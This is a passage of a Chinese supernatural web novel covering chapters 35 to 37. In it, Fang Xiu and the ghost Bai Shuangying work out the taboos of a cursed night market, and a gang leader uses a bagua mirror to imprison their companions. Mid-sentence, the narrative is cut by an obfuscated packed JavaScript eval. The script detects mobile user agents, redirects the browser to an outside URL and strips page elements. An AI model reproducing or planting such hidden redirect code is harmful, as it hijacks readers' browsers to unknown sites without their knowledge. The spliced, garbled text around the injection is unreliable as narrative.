方休遍身赤黑,头上包裹血布,如同一个血铸的暗影。 他跪压着大顺残破不堪的尸体,朝白双影不停挥动手臂,仿佛膝下尸体只是一个软垫,头上怪脸只是大型花灯。 ……仿佛他生来就是这片混沌的一部分。 白双影不由地驻足欣赏。 面前景象堪比末日降临,真是……非常美妙。 “没事啦,快过来吃饭。透过破洞,方休一双眼笑得眯起。 街道上没有其他邪祟,就算方休没画圈,白双影也轻松捉到了那只生魂。 “怎么回事? 白双影在大顺尸体上坐下,气氛一时像极了野餐。 “第一次实验,邪祟惨叫有先后,死状也不同。说明死忌有特定的触发动作,不是‘待在室外’这种绝对限制。 “呼吸声移动到一定距离内,邪祟才出现死亡。说明触发动作有距离要求,并且隔空生效。 空中巨脸左右晃动,一双眼死盯方休,方休却只看着白双影。 准确地说,是看着他脸上那颗小小的红痣。 “直面呼吸的邪祟死得快,背对的死得慢,却又死于回头……最可能的触发条件有两个,‘直视对方’或‘被对方直视’。于是昨天晚上,贾旭他们替我做了实验。 白双影一边给大顺月饼捏花边,一边回忆。 第二次实验,失去视力的邪祟照旧暴毙。倒是蒙眼邪祟一开始存活下来,还跑了挺远。 “……瞎眼的**,‘直视对方’可以排除。 “如果触发条件只是‘被直视’,蒙眼邪祟不会多活那么久;以半步鬼仙的谨慎,它也没必要在夜里瞎逛。 “所以‘被直视’还有附加要求。比如不能对视,不能暴露特定部位,诸如此类。 说到这里,方休抬起黑洞洞的眼,看向只有后脑的行人们。 “我用大顺做了验证,现在能100%确定——第二条禁忌是‘不可露脸’。 白双影专心听着,咬了口热乎乎的生魂月饼。大顺的口味比眼镜柔和,但因果滋味浓郁许多,好吃得他长长地“唔了一声。 “嘿嘿,好吃吧。 布料孔洞后面,方休又弯起眼睛,眼里重新有了光彩。 白双影点点头,他觉得自己功劳挺大:“你认定这东西不会追杀你,也是因为半步鬼仙夜里乱晃? “是啊, 地方就这么大。这条禁忌要是玩追杀,早该追杀它了。” 方休伸出沾满鲜血的手,像是想摸白双影的袖子,又半途停住。 “谢谢,多亏了你,我省下了许多调查时间。”他终究收回手,小声说道。 白双影放下月饼,想了想,伸手去揭方休蒙脸的衣服。 方休小小地紧绷了下:“哎?!” 不过他吃惊归吃惊,没有动。因为白双影的手已然探入布料,抚上了他的脸。 冰冷的手轻轻拂过方休五官,方休有种很奇妙的感觉。他知道他的五官还在原位,却也知道它们“消失”了。 现在他和白双影一样,面皮看上去一片空白。 接着白双影嫌弃地扒掉那团血布,他捞起袖子,猛擦方休头上的血。 眼看雪白的袖子盖过来,方休急了:“脏……” “区区一点血,脏不了我。”白双影用袖子狂搓方休的头。 像是被冰冷的舌头舔过,方休满头污血迅速消失。黏在一起的发丝变得干净蓬松,看起来手感相当好。 这还差不多,没有布料碍事,他又可以随时摸方休脑袋了。 白双影满意了,继续埋头吃月饼。 方休看着白双影依旧洁白的衣袖,小声笑了会儿,偷偷蹭过来擦手臂。白双影忙着享用生魂月饼,由着方休折腾。 那张巨脸还悬停在两人上空猛瞧,谁也不理它。 等白双影一口气吃光生魂,方休才站起身。他空白的脸上没有五官,白双影仍能听出他的笑意。 “机会难得,血夜逛个街?”方休快乐地问。 白双影舔舔指尖的魂渣。 他知道,那只半步鬼仙就在附近。它依旧沉默地窥视他们,没有要出手的意思。 ……还是那么烦人。 于是白双影凝起气势,朝半步鬼仙的方向看了一眼。那邪祟立刻收了气息,跑掉了。 赶走让鬼不爽的家伙,白双影才欣然递出袖子。 “我们走。”他说。 …… 血夜之下,满街行人一动不动,比白夜诡异许多。 人们照旧只有后脑勺,停在各自的老位置,连啤酒溅飞的泡沫都停在半空。天上没有烟花,音乐消失殆尽,所有霓虹不再闪烁。 整条街如同包进琥珀,死一般寂静。 只有两个没有脸的身影顺着街道漫步,巨脸气球一样飘在他们上方。 方休的心情完全没被影响,他这里摸摸那里看看,居然还有那么点儿兴奋。 “好神奇,和白天完全不一样!” 方休看着街道两边的景象,默默和记忆里的动态做对比。 白双影则觉得广告牌不变了,棉花糖机不转了,实在有点遗憾。 还是白夜更有趣但是大顺月饼非常好吃眼下他可以包容一切。 路过据点时方休偷笑两声朝老金一伙的方向做了几个不太雅观的手势。 折腾完了他又满身血地蹦回白双影身边胳膊搭上自家鬼的肩膀:“真好。” 白双影斜睨跟踪他们的巨脸:“哪里好?” “有你在啊和朋友一起更开心。” 方休哥俩好似的揽着白双影“要是我们的支援不是‘召鬼’我就得自己干这些事了。” 他一边说着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705266|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边当着死忌的面开了罐旺○当场喝了个精光。末了方休还不忘把罐子扔进垃圾桶。 只是看到挨着垃圾桶的烧烤摊时方休“咦”了一声。 刚才他路过这摊子两次心里隐约感觉哪里不对。现在走得近了方休突然福至心灵—— 这里好像少个人。 烧烤摊上坐了七个年轻男孩他们正快乐地撸串喝啤酒。其中一个人做出勾肩搭背的动作他搭的地方却只有一片虚空。 白夜时无脸人都在动乍看像是小摊没坐满。如今动作一凝固那份空缺变得明显起来。 方休思考片刻抱起附近某个无脸小孩。果然这些幻影连质地都凝固了重量如同塑料泡沫连他都可以轻松搬动。 于是方休直接把小孩夹在胳膊底下打横带着。 白双影停在原地大为不解。 “反正是幻影嘛。我给他换个位置看看白天会怎么样。” 方休指指热热闹闹的烧烤摊“那边少个人我得弄清怎么回事。” 白双影走上前把小孩从方休的胳膊底下抽出来轻描淡写道:“这东西白夜活动血夜复位。” “你今晚移动它的位置 方休震惊:“这你都能看出来?” 既懂法器又懂术法。他的鬼也太博学多才了这辅助含金量惊人。 “一切不过是‘厄’的操控说到底还是阴气作乱。” 白双影敲敲无脸小孩的脑袋“我白夜血夜的景象都看过了自然可以确定。” “那这幻影可能自己成精吗?” 方休如同发现新大陆绕着白双影走了两圈。 “绝无可能。”白双影说。 “那我可以抱你一下吗?” 专业厉鬼就是不一样方休感动极了。 白双影本来想说不可以但大顺月饼还在嘴里回味于是他又矜持地点点头。 方休张开双臂把自家鬼抱了个满怀脸在白双影脖子边乱蹭:“哎哟我原本打算自己试的你帮了我好大的忙——” 白双影趁机摸摸方休的 头,习惯性复读:“你我是朋友。” 封印还是没动静,白双影不怎么意外。 倒是方休格外开心,把他搂得死紧。他的人类身体热烘烘的,和新鲜生魂一样烫。 “四天下来,这位置一直空着。” 半分钟后,方休终于松开怀抱,“所以每到血夜,就有鬼挪走这里的幻影。” “嗯。”白双影也想不到其他可能。 “但在血夜活动的邪祟,好像只有一位。”方休沉思,“我原本打算叫半步鬼仙‘半仙’,我现在决定叫它‘半山’。” 白双影:“?” 方休:“‘人’被它偷偷挪走了。” 白双影:“……” 好不想搭理这个人类,真是久违的感觉。 “半山这么干,说明那人身上一定有解厄的线索。”方休严肃起来。 白双影:“……所以我们要找到被偷走的人?” 方休又看了眼那个烧烤摊,眸色闪动片刻:“不用,我大概能猜到怎么回事。” 白双影看向那个摊子,他瞧了半天,没看出什么特殊之处。 偏偏方休一副神神秘秘的模样:“关于缺少的那条禁忌,我也有了点想法。剩下那俩毒贩的用处,现在可以决定了。” “告诉我。” “留点惊喜呗,观赏制作过程也是享用食物的一环。”方休小声嘀咕,“再说要是我猜错了,多丢人啊。” 白双影觉得有点道理,没有继续问。 …… 接下来的时间,方休确定了剩余邪祟的藏身处,又在治安亭靠着白双影小睡一觉。他再醒来时,血夜还有不到一个小时就要结束了。 巨脸仍盘旋在两人上空,脸上多了几分无力。 临“天亮”,方休带着白双影来到那家小小的电器店。 年轻店员凝固在老位置,维持着刷手机的动作。方休在柜台放下剩余的钱,租了台拍立得。 白双影第一次见到这种神奇盒子,拿在手里看了又看。 “难得能一起逛街,咱们拍照留个念。”方休兴高采烈道。 “拍照?” “就是留下小画片,它会记录我们当下的模样。” 白双影摸摸自己没五官的脸,看看方休没五官的脸,又瞧向头顶窥视他们的巨脸:“?” 方休:“……” 方休:“……不试白不试,说不定什么都拍不出来呢!” 事实证明,这台拍立得的性能很好。 方休搂着白双影的脖子,两人背对整条街道,正儿八经来了张自拍。十几秒后相片显影,照片忠实地重现了一切—— 一红一白两个无脸人挤在镜头前,周遭一片血红,天空被翻白眼的巨脸挡住大半。 白双影:“……” 方休:“……” 方休忍不住感慨:“好优秀的恐怖片素材。” 感慨归感慨,他还是把照片小心放入口袋最里层,生怕弄脏了。 “我们回去吧。”一想到又可以看到白双影的脸,方休心情相当不错。 白双影恋恋不舍地放开拍立得,与方休一起踏出门扉。 两人渐渐走远,小小的店铺里突然响起一声叹息。 那位无脸店员收起手机,直起腰,吊儿郎当走到柜台前。 “钱多了,找零都不要啊。” 他数数方休留下的零钱,漫不经心道,“这么多年了,真把这里当景点的,我还是头一次见。” 说着话,店员脸上的后脑勺一阵扭曲,隐约透出五官的轮廓。瞬息之后,他那张“脸”又完美地恢复了后脑的模样。 门外,血夜依旧。 第 36 章 人数骤减 第36章人数骤减 【禁忌之三?】 血夜,据点内。 事情似乎有些发展,今晚呼吸声没再规律巡逻。从某个时间点开始,它路过据点的次数骤减,不知道跑到哪里去了。 方休临走前,乖乖留下了大堆吃食。贾旭剥了颗糖塞进嘴巴,心情稍微好了些。 现在方休替大家调查,他不用冒险。这种感觉就像出差坐飞机,或者洗车时待在车里,有种名正言顺消磨时间的快感。 贾旭心里明白,无论是心理素质还是头脑,方休都在自己之上。但是方休比他强又怎样?公司里比他强的大牛多了去了,还不是得仰仗他谈项目发奖金。 当领导,最重要的是驭人之术。 再说哪怕没有方休,他也有他能做的事。 贾旭清清嗓子,冲老金的方向开口道:“闲着也是闲着,咱聊聊之前的祭祀吧,多了解一点是一点。” 老金呵呵笑:“好啊。” 接着他就不说话了,大有请贾旭先说的意思。 贾旭也不推脱,简单讲了讲嵬山村的祭祀。 在贾旭的故事里,坑死疤哥、识破山混子、发现禁忌规律的人变成了他自己。 方休自始至终就是个小跟班,只是最后走了狗屎运,率先咬碎了那颗糖。 反正方休告诉他们许多事,贾旭只需要稍作改编。眼下方休装得乖乖巧巧,自己也算帮他打掩护。 大家都听出了不对。但连黄毛都不想在老金面前下自己人的面子,于是谁也不吭声。只有关鹤借着成松云遮挡,用口型骂了好几句。 老金听得挺专注:“异变居然是好事,换我肯定被骗过去。” 贾旭:“谁说不是啊,我也差点被蒙了……您那边呢?” “这事说来话长……” 老金摸摸烟盒,叼了根烟。 今天的窗户封得很死,呼吸声又迟迟不出现。他索性从口袋里摸出打火机,准备来一根。 噗呲。 打火机点燃的瞬间,火焰化作无数火团。老金手一抖,昂贵的打火机掉到地上。 火团有烟头大小,从四面八方压上皮肤。伴随着嗤嗤的烧灼声,老金憋住一声痛叫。 他保养得当的皮肤上出现无数灼伤,像是有人把烟头生生按上他的皮肤。 老金赶忙收起香烟,汗津津地骂了两句脏话。贾旭惊得没坐稳,差点和打火机一起摔上地面:“这是……犯忌?” “是吧。”老金烦躁道,他把打火机踢向麻子,“你也试试。” 麻子一声不吭地捡起打火机,照做。果然,无数火光再次出现,烧得麻子当场丢了打火机。 贾旭兴奋了 。 ……第三条禁忌,一定是第三条禁忌! ……果然嵬山村那次只是意外,大家到底还是得靠他。 不过这也可能是老金做的局。贾旭稳住表情,拿出非常学术的口吻:“要试得试个彻底,我们也来。 他让黄毛和梅岚撕了点罐头包装拿在手里,自己捡起打火机。 贾旭刚打完火就扔了打火机,没被烫几下。火焰先是点燃了黄毛手里的纸张,黄毛还没来得及骂娘,就被贾旭按着点燃了梅岚手中的纸。 下一秒,梅岚也发出一声惨叫,被小火团烫出十几个疤痕。 她赶忙把燃烧的纸张扔到地上,手忙脚乱地踩灭,火团这才尽数消失。 “……看来不是打火机的问题。见火就不行,谁有火谁犯忌。 贾旭无视梅岚愤怒的眼神,慷慨陈词道,“很明显,第三条禁忌是‘此地禁火’。 黄毛搓着手臂上的烫伤,语气暴躁:“啥玩意?外面就有卖烧烤的! “那肯定是假的火,就像烧烤是假的烧烤,都是幻影。贾旭说,“不然你出去试试,看看火炭能不能点燃你的纸。 黄毛瞧了眼密闭的窗户:“……我可不想死,白天再说。 不过他确实有点印象,那些炭烤炉子看着热腾腾的,靠近却没什么温度。 贾旭坐到据点废桌上,摆出思想者的姿势。 “现在就等方休他们搞清楚第二条禁忌。到时候三条禁忌全到手,咱们可以正式推理‘厄’的因果。 “你有什么思路么? 老金拿了罐杏仁露,用冰凉的罐子滚压烫伤。 贾旭想了想:“第一条禁忌逼我们互相残杀,第二条禁忌逼我们夜晚留在室内,第三条禁忌严禁生火……结合外头的情况,我感觉这次的‘厄’和火灾有关。 黄毛哦了声:“火灾? “我就一个猜测哈……烟花或者烟头起火,引发火灾。出于某些原因,许多人活活烧死在室内。 “大概有人临死前想报复社会,这才产生了‘厄’——它想让我们也尝尝绝望困死的滋味。 贾旭说是猜测,口气却十分肯定。 成松云半挡着关鹤,眉毛拧了起来:“讲不通啊。你说人都烧**,‘厄’一边想让我们感同身受,一边又不许我们点火,这不自相矛盾吗? “而且第一条禁忌要求杀戮怎么说,满街无脸人又怎么说? 贾旭语气轻松:“这些其实都很简单。 “起火时所有人困在室内,如果不践踏别人,就只能堵在后头**气,变得全身虚弱——这对应互相残杀。 “满街无脸人,是说外头的人都不愿意伸手相助,背对着 死伤者。这是复刻了死者死时的绝望,痛斥社会冷漠。 老金始终保持沉默,黑暗藏住了他若有所思的脸。 成松云还是觉得贾旭的解释过于牵强,充满乱打补丁的不协调感。 方休告诉大家嵬山村的真相时,她有种“原来如此的顿悟。可听贾旭在这叭叭地说,她反而越听越迷惑。 见成松云不吱声,贾旭逐渐提高声音:“要我说,这里可能有给打工仔住的地下群租房。产生‘厄’的人死在夜晚,所以对应夜晚的时间,会出现‘血夜’。 “血夜巡逻的呼吸声对应政府工作人员,他们严查群租房,一发现就驱散可怜的租客。群租房不得不建得隐蔽,这才有了巨大消防隐患。 贾旭一边说,一边沉重地叹气。 “室内底层互害,室外官员不近人情、路人漠视……唉,遇到这样的事,也不怪底层人想报复社会。 成松云:“…… 这解释真的好别扭。 几天下来,他们快把这条步行街掘地三尺了,并没有发现火灾痕迹。成松云有种预感,自己要是提出这件事,贾旭准要说“出事的群租房被拆除了所以很难找。 关鹤终于憋不住了:“就算被工作人员发现,又不会判**,这条禁忌当死忌也太奇怪了。再说违规群租安全风险大,严查不是应该的吗……? 想到方休是官方人员,他越发觉得贾旭的说辞膈应。 “刚才成阿姨问你为什么模拟死法又不许点火,你没解释。‘午时三刻’这个时间点,你也没有说法……我就觉得怪怪的。 贾旭顿了顿,语气深沉:“你还小,这个社会比你想得黑暗。 关鹤:“…… 草啊那你倒是解释! 他突然格外想念自己的老师,老师们偶尔脾气不好,但讲题都能讲出个一二三。贾旭这厮根本只挑自己说得通的说,解释不了的干脆糊弄。 要不是方休让他闭嘴装病号,他真的很想跳起来和贾旭吵一架。 “总之没必要闹,先等方休回来。贾旭又说。 谁跟你闹了,我是在讲道理!关鹤忍不住想起身,被成松云默默摁了回去。 “确实没必要争,等人回来就行……如果他们还能活着回来的话。老金慢悠悠插嘴道,“来,先看看这个。 说着,他从怀里掏出一个小小的八卦镜。 八卦镜巴掌大小,由黄铜制成,表面锈蚀发暗,只有中央凹陷处亮亮的。 黑暗之中,它散发出若有若无的微光,吸引着所有人的视线。 下一刻,关鹤听到一阵轻响。原本静悄悄的屋子突然变得更加寂静,有几道呼吸声消失了。 他下意识摸向成松云,摸到了对方干瘦的手背。成松云反手攥紧他的手腕,有些紧张地开口—— “小梅?小杜?……小贾?” 没有回应。 黑暗中,老金很轻地笑了两声。再看那八卦镜中央,赫然多了三道扭曲的人影。 成松云一下子抱紧关鹤,随时准备开怨鬼盾:“方休说过——” “大妹子,甭紧张。我没杀他们,只是把他们关起来而已。” 老金语气还是和和气气的,只是里面多了股说不清道不明的阴狠,“你们这组的头儿,其实是小方,对不对?” 成松云和关鹤齐齐沉默。 老金啧了声:“滑头小子,差点连我都骗过去,可惜那个姓贾的没啥真本事。” 成松云咬咬牙。老金故意留下自己和关鹤,八成是为了当面要挟方休。 她个头矮年纪大,小关又受了伤,他们两个看起来最好控制。 而“不好控制”的那部分人,已经被老金关进了镜子。 明天午时三刻一到,关在镜子里的人会被迫犯忌,丧失反抗能力。老金完全可以放一个杀一个,轻松应对禁忌。 “接下来就得看你们头儿的觉悟了,要是他愿意配合,我们就先杀镜子里头的。要是他不愿意么……” 老金笑笑,没继续说。 成松云抿紧嘴唇,轻拍关鹤的背。 她活了这么些年,十分明白一个道理——不合时宜的反抗,只会招来拳脚。如果要下手,最好找准时机。 此刻,她最该做的是保护关鹤,就像方休临走前说的……咦? 【成姐,照顾好小关。】不知有意还是无意,临离开前,方休特地嘱咐过她。 也许这不是巧合,成松云缓缓吐出一口气。 现在还不是拼个鱼死网破的时候,她如此判断。 …… 咚。咚。咚。 终于,血夜结束,灯光亮起。焰火重燃的那一刻,门口响起敲门声。 “是我。”方休的声音从门外传来。 室内,成松云与关鹤双手双脚被捆,旧衣服堵着嘴巴,完全无法出声。 尽管这不影响怨鬼盾的使用,成松云还是紧张地扭来扭去。倒是关鹤唔唔两声,偷偷向她眨眼。 一只青黑小手从关鹤背后伸出,比了个不太熟练的“OK”手势。 成松云眼睛一亮,放了心。 小儿鬼最适合通风报信,方休已经察觉到了危机! 另一边,老金攥紧镜子,给麻子使了个眼神。 麻子缓步走到门边,他贴在门框一侧,快速伸手勾开门。 门打开的瞬间,麻子闪身揪住门前人,熟练地往地上一掼。他有自信摔断对方几根骨头,又不至于一 下把人摔死。 然而他刚摔出手,便觉得手感不对—— 噗嗤一声,大顺的尸体狠狠摔在地上,砸出一大片血花。 “这么粗**嘛,难得我摸清了死忌。方休在门外唏嘘。 他的目光扫过被绑成一团的关鹤和成松云,表情没有任何波动。 就在不久前。 两人拍完纪念照,方休吭哧吭哧拖着大顺的尸体往回走。大顺个头不高,可方休还是累得一佛出世二佛升天,眼看要断气。 “哈啊……我好怀念勾魂锁……方休苦涩地喘.息。 白双影无言。他就说活物太瘦了不行,此人体力差成这样,要怎么独自生存? 方休这副模样,活像爪牙没长全就去拖拽猎物的小兽。 最后白双影实在看不顺眼,上去接过一条胳膊。两位分别拉着大顺一条手臂,呈“夾字形前进。 如果不是拖了一路长长的血痕,这情景有点像护送喝醉的朋友。 临到据点,方休没有立刻上前:“白双影,你先进去看看,记得隐藏。 现在倒来鼓励他钻门缝了,白双影心想。 不过一想到门内还有两块美味月饼,他很主动地恢复本体,液体一样渗入门缝。这一钻,正好和门边徘徊的小儿鬼撞了个正着。 于是没过几分钟,白双影便呲溜一下钻回来。 他大概说明了众人被俘的经过,又提了一嘴那面八卦镜。 八卦镜被老金拿在手里,白双影一眼便瞧出了它的功用。 地府法器,一面普普通通的照妖镜。它的凹面能映出对镜子主人有敌意的人,可以分辨敌友。 对于室内严峻的状况,白双影倒没什么特别的感想。 别说人质不人质,其他人死光了也与他无关。他只希望方休不要感情用事,给他添些不必要的麻……烦……? 白双影狐疑地看着方休——是他叙述有误吗,方休居然听乐了! 只见此人嘴角扭动, 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方休耸耸肩膀,“你叫他跟我走的时候,就已经怀疑我了。你就没指望他活着回来,再掰扯也没什么意思。 老金眯起眼:“……你究竟是什么人? “不猜我是警察吗?方休颇为失望地挠挠脸。 老金冷笑:“我见的人多了,条子没你这么狠的。 “好吧,我确实不是警察。方休说,“我算半个道士,专给道上的人做法事。 “看看你那面镜子就行了——八卦照妖镜,专挑不义人,这东西区分敌友是一绝啊。 老金拿镜子对方休一照,镜子里并没有方休的身影。 地府法器的效果是绝对的,此时此刻,方休确实对他没有敌意。 老金眉头舒展了一点儿:“……你是个黑.道士。 他们这行亏心事做得多,总会有些玄学方面的需求。 正规修行者根本不愿意接待他们,所以出现了不少黑.道士恶和尚,专门填补这方面的市场空白。这些**多走邪道自学,算不上玄学中人。 方休能一眼认出八卦照妖镜,铁定有几分真本事。 方休趁热打铁:“金老板您的名头,癸省无人不知无人不晓。我还想着什么时候跟您合作一把,谁知道先在这碰面了。 方休这边说着,白双影悄悄溜到老金身边,啪地一拍镜子。 照妖镜划了个漂亮的弧线,被方休稳稳接住。 方休很自然地扬扬手:“瞧,隔空取物。 白双影:“…… 方休气质如同山混子复活,装得还挺像那么回事。 老金也不着急,只是拉下一张脸:“就算你拿到镜子,也放不出人。 方休:“知道,你的异象技能嘛——你能把镜子照出来的人关进镜子,对不对?这能力应该不是毫无限制,我猜你只能使用镜子类法器。 “……道士连这都知道? 方休笑而不语,把镜子丢回白双影手里。白双影顺道将其隐藏——在老金看来,八卦镜一瞬就消失了。 随后方休张开五指,镜子又凭空出现。 成松云和关鹤充满希望的目光中,方休手一抬,竟是把镜子扔回给老金。 “算我的合作诚意,等杀光邪祟,这些人就当公用资源好了。 方休无所谓地说道, 活像镜子里不是自己的同伴。 “咱们都是一条道上的人,没必要挑这时候翻脸。不如赶紧把‘厄’解了,离开这个鬼地方。” 老金目光扫过成松云和关鹤。 “哦,把那女的也封进去吧。”方休点了点成松云,“年纪大了腿脚不利索,带着麻烦。” “这么大方?” 方休笑容灿烂:“我想金老板不会为了图省事,急着杀我的人凑数,外头可是还有不少邪祟呢。” 的确,方休是个难得的道士。**的手下又没法复活,没必要立刻掀桌子。 老金咂咂嘴,看向呆若木鸡的关鹤:“那你干嘛留着这小子?” “啊,以防万一,我手边总得留个能杀的‘备用’。可不是不信任你们啊,人总得考虑安全问题。” 方休摆摆手,“你瞧见其他人对他的态度了,这小孩就是个累赘。” 老金回忆了一番。 知道“可能要自相残杀”的时候,黄毛和贾旭的第一反应都是看关鹤。而且这小子脑袋确实受了伤,可谓累赘中的累赘。 方休的决策没毛病,换他也会首选关鹤当牺牲品。 不愧是黑.道士,对自己人也够黑,老金突然觉得方休有那么点顺眼。 成松云却很紧张。 方休的态度太过真实,她不确定方休是不是真的要牺牲同伴。但既然决定跟随方休,她只能抓紧关鹤的衣服,拼命咽下质疑。 关鹤第一次见方休这副模样,脑袋还没反应过来。他只记得方休是官方人员,还特地送了他长命锁——这念头像根救命稻草,让他勉强维持了理智。 “我、我没事。”他努力发出唔唔声,“方休肯定有计划……” 他话还没说完,身边一空,成松云的身影消失了。老金的镜子里,又多了一道扭曲人影。 “方休肯定有计划——” 方休学着关鹤的语气,戏谑地重复了一遍,“他现在还信我呢,真讨人喜欢。” 关鹤盯着方休,试图在对方脸上找到一丝安抚,可他什么都没找到。方休只是冷冰冰地望着他,他的嘴在笑,眼里却没有分毫笑意。 就像注视一头待宰的牲畜。 ……方休真的有计划吗? ……还是说,方休的计划是把大家当成消耗品,他只想破坏“厄”? ……他现在要曝光方休杀了眼镜吗?万一方休真在演戏怎么办?就算他说了,老金会信他么? 对面那双黑眸黯淡无光,恐惧与混乱逐渐吞噬了关鹤。 小儿鬼藏在他身后,冰凉的小手扒着关鹤的背。它一遍遍地重复着某个动作,十几秒后,关鹤终于察觉到了什么。 它在他的背上,反复写下两个字。 小儿鬼根本不认字,这肯定是别人教给它的—— 【信我】 最终,关鹤埋下头去。 他仿佛认了命,谁也不去看,什么都没说。 第 37 章 双人游戏 第37章双人游戏 【轻柔掌声。】 血夜已然消失,众人——准确地说,是仅剩的四人——却没有第一时间出门。 方休拿了烧鸡苹果,又开了两罐旺○,当场吃起早餐。 关鹤也分到一个黄桃罐头,对此,方休的说辞是“晕倒了很麻烦”。 关鹤双手没解绑,麻子填鸭似的喂他。关鹤不时呛得咳嗽两声,麻子却没有慢下来的意思。 桌子边,方休和老金视若无睹地用餐。 “第三条禁忌是‘不许点火’?” 听老金描述完,方休扬起眉毛。 老金把打火机扔给方休:“不信自己试。” 方休轻松接住。打火机沉甸甸的,通体暖金色,印有精致的金钱纹,一看便价值不菲。 噗呲。 方休打出火焰。阴影之中,萤火般的小火团再次闪现,嗤嗤烧灼他的皮肉。 然而方休像是没有知觉。他沉思几秒,咔哒扣上打火机盖子,再次打开点火。 噗呲。噗呲。噗呲…… 如此重复一遍又一遍,空气里多了股蛋白质烧焦的味道。 十几次下来,方休两条手臂布满烫伤,看着惨不忍睹,他的眉头却渐渐舒展开来。 “何必自己试。”老金扫了眼疯狂咳嗽的关鹤。 动作间隙,他又悄悄看向照妖镜。镜子里照旧只有关鹤的影子,完全照不出方休。 “没办法,干我们这行的,有些东西必须亲身体验。” 方休把打火机递还给老金,“……这条‘禁忌’还蛮有意思。” 老金饶有兴致:“看出东西了?” “嗯,猜到了点。上午先应付第一条禁忌,咱们下午再说。” 方休继续吃他的鸡肉,顺口换了话题。 老金脸上滑过一丝不满,方休没抬头,头顶却像长了眼:“金老板,你跟我急也没用。这地儿有只半步鬼仙,想解厄没那么容易。” 接着,他顺口跟老金解释“半步鬼仙”。 人成仙修功德,鬼成仙须修厄。 山混子当初说的那点东西被方休掰开揉碎,讲得一套一套。见方休信手拈来,老金眼底的疑虑又消解大半。 “地府在用活人养鬼仙?反正我听着像这么回事。”老金反应极快。 方休高深莫测地嗯了声,不置可否。 老金摸摸下巴,毫不避讳地开口:“阳间居然放着不管,该不会所谓的‘祭品’,背上都有人命债吧?” “八成是,反正你我身上肯定有血债。” 方休做了个手势,示意麻子松开关鹤,“正好,来小关,说说你弄死谁了。” 关鹤咳出些桃子碎屑,半天 才缓过气。麻子熟练地捏住他的脖子,大有“不交代就动手的意思。 “我……关鹤犹豫了好一会儿,声音有些沙哑,“我害**我弟。 方休:“再详细点。 关鹤闭上眼:“我十一岁的时候,带我四岁的弟弟闯红灯,他被车碾**。 说到这,他的语气又抖起来,“那、那个时候很晚,街上明明没车……撞死他的是个超速的毒贩…… “哎哟,小小年纪学会推卸责任啦。老金乐了,“你被抓到这儿,说明老天都觉得你罪过更大—— “我们管这叫‘人命因果’。方休状似无意地打断道。 老金的注意力回到方休身上:“怪不得地府专挑咱们当‘祭品’。一路上碰见的都是狠茬子,我还纳闷呢。 说着,他突然笑了几声:“在阳间政府想要我的命,在阴间地府想要我的命。至少过了祭祀有好处拿,还是地府亲切点儿! “真巧,我也更喜欢祭祀。方休吃光鸡肉,舌尖舔舔指头。 他的语气相当自在,脸上同样带着笑意。 …… 白双影坐在桌边,无心听两人扯皮。 他微微仰头,苍白的眼眸里倒映出万千链影。因果之链缓缓绞动,构筑成密不透风的牢笼。 白双影不喜欢认真审视这些锁链,它们时刻提醒着他“囚徒的身份。日复一日,他的污染悄悄绕上锁链,涌动再沉寂,如同精卫填海。 太慢了。 白双影知道,这已然是“不被地府发现的最快速度,可还是太慢。 千百年来,这些锁链将真正的他牢牢束缚,只给他勉强维生的阴气。最近数十年,那份阴气急剧减少,如果他什么都不做,必定会衰弱发狂。 方休抓来的生魂很美味,但那不过是滑过舌尖的一滴血。对于一只将要饿死的巨兽来说,它好归好,却救不了命。 白双影移动视线,看向方休弄断的那根锁链,眸子里没有任何情绪。 等他挣脱封印的那一天,他绝对要毁…… 有什么热乎乎的东西扫过白双影的发尾。 白双影的思绪同那锁链幻影一起,被突如其来的温热打散。 白双影低头去看,他的长发正蜿蜒在桌子上,紧挨着方休的手臂。 随着那人的动作,发丝不时拂过方休布满烫伤的皮肤。每当这时候,方休整个人都会有一瞬的放松。他的发梢摇来晃去,此人跟着松松紧紧,像是凭空长了第二套呼吸系统。 白双影眨眨眼。 对了,方休对这次解厄胸有成竹,他的“两人世界解封计划好像要泡汤…… ……毁灭人世的想法先放放,当务之急是解除封 印。 想到这,白双影若无其事地蹭过方休的头。方休喝饮料的动作一顿,险些呛到,但他没有躲开。 封印没反应,饮料倒是洒了几滴,白双影和方休同时轻轻地叹了口气。 …… 临出门前,方休扯了件旧衣服,直接往关鹤脑袋上包,活像处理**犯。 老金:“他手绑得结实,跑不了。” “我身板可不比麻子哥,不好控制人。”方休头也不抬地说。 老金对未成年没什么额外的同情心,听完解释,他也懒得再管。 方休粗暴的“打包”中,关鹤手腕微松,掌心一凉。 方休悄悄从关鹤的兜里摸出玉佛,塞进他的手心。关鹤只要弄破中指,随时可以发动玉佛。 有小儿鬼领路,蒙面对关鹤来说问题不大,反而能更好地挡住表情。 更重要的是,这样他看不见那面八卦镜——大家被关进去前,老金让他们看镜子来着,其中肯定有猫腻。 方休果然在保护他。 关鹤终于放下一颗心,隔着衣服,他长长呼出一口气。 最后,方休用一根塑料绳牵着关鹤的双手。四人回到热闹非凡的中秋夜市,轻快悦耳的音乐再次将众人包裹。 四天下来,街上几乎看不见邪祟。 经过几天优胜劣汰,残存的全是些难搞的大邪祟。眼下离午时三刻还剩两个多小时,他们不能耽搁太久。 “昨晚我大概记了他们的位置,咱们先去找最弱的。”方休主动指路。 同时,他轻轻抓了抓白双影的长发——那是他们计划“开始玩”的约定动作。 老金对两人的小动作一无所知:“那得快点,别让其他邪祟抢了先。” 他这边正说着,一大群无脸青年挤了过来。他们穿着色彩缤纷的衣服,无声地挥舞手臂,貌似是刚放假的大学生。 人潮涌动,四个人险些被挤散。好在目的地近在眼前,他们成功扎进一条暗巷。 刚走了一小半,麻子突兀地止住脚步,一动不动。 “怎么了?”老金皱眉,下意识扫向方休。 方休扭头看着落后的麻子,没什么可疑动作,只是眉毛微微蹙起。 “不对。”他轻声说,“麻子有问题。” 老金定睛一看,倒抽一口凉气—— 巷子口处,麻子背光站着。 他的脸上一片空白,根本没有五官! 